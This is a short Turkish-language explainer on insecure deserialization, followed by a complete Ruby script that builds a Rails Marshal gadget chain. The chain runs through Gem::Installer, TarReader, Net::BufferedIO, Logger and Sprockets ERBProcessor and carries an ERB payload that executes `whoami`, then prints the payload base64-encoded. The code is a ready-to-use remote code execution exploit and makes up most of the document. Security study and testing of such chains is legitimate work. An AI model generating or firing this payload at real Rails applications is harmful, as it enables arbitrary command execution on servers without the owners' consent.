Insecure Deserialization, kullanıcı tarafından kontrol edilebilen verilerin bir web sitesi tarafından serileştirilmesidir. Bu potansiyel olarak bir saldırganın zararlı verileri uygulama koduna aktarmak için serileştirilmiş nesneleri manipüle etmesini sağlar. Hatta serileştirilmiş bir nesneyi tamamen farklı bir sınıftan bir nesne ile değiştirmek bile mümkündür.
Endişe verici bir şekilde, web sitesinde mevcut olan herhangi bir sınıfa ait nesneler, hangi sınıfın beklendiğine bakılmaksızın serileştirilecektir. Birçok deserialization tabanlı saldırı deserialization tamamlanmadan önce tamamlanır. Bu, web sitesinin kendi işlevselliği kötü amaçlı nesneyle doğrudan etkileşime girmese bile, deserializasyon sürecinin kendisinin bir saldırı başlatabileceği anlamına gelir. Bu nedenle, mantığı güçlü bir şekilde yazılan dillere dayanan web siteleri de bu tekniklere karşı savunmasız olabilir.
require 'rails/all'
require 'base64'
Gem::SpecFetcher
Gem::Installer
require 'sprockets'
class Gem::Package::TarReader
end
d = Rack::Response.allocate
d.instance_variable_set(:@buffered, false)
d0=Rails::Initializable::Initializer.allocate
d0.instance_variable_set(:@context,Sprockets::Context.allocate)
d1=Gem::Security::Policy.allocate
d1.instance_variable_set(:@name,{ :filename => "/tmp/xyz.txt", :environment => d0 , :data => "<%= `whoami` %>", :metadata => {}})
d2=Set.new([d1])
d.instance_variable_set(:@body, d2)
d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)
c=Logger.allocate
c.instance_variable_set(:@logdev, d)
e=Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read,2)
e.instance_variable_set(:@header,"bbbb")
b=Net::BufferedIO.allocate
b.instance_variable_set(:@io,e)
b.instance_variable_set(:@debug_output,c)
$a=Gem::Package::TarReader.allocate
$a.instance_variable_set(:@io,b)
module ActiveRecord
module Associations
class Association
def marshal_dump
# Gem::Installer instance is also set here
# because it autoloads Gem::Package which is
# required in rest of the chain
[Gem::Installer.allocate,$a]
end
end
end
end
final = ActiveRecord::Associations::Association.allocate
puts Base64.encode64(Marshal.dump(final)).gsub("\n", "")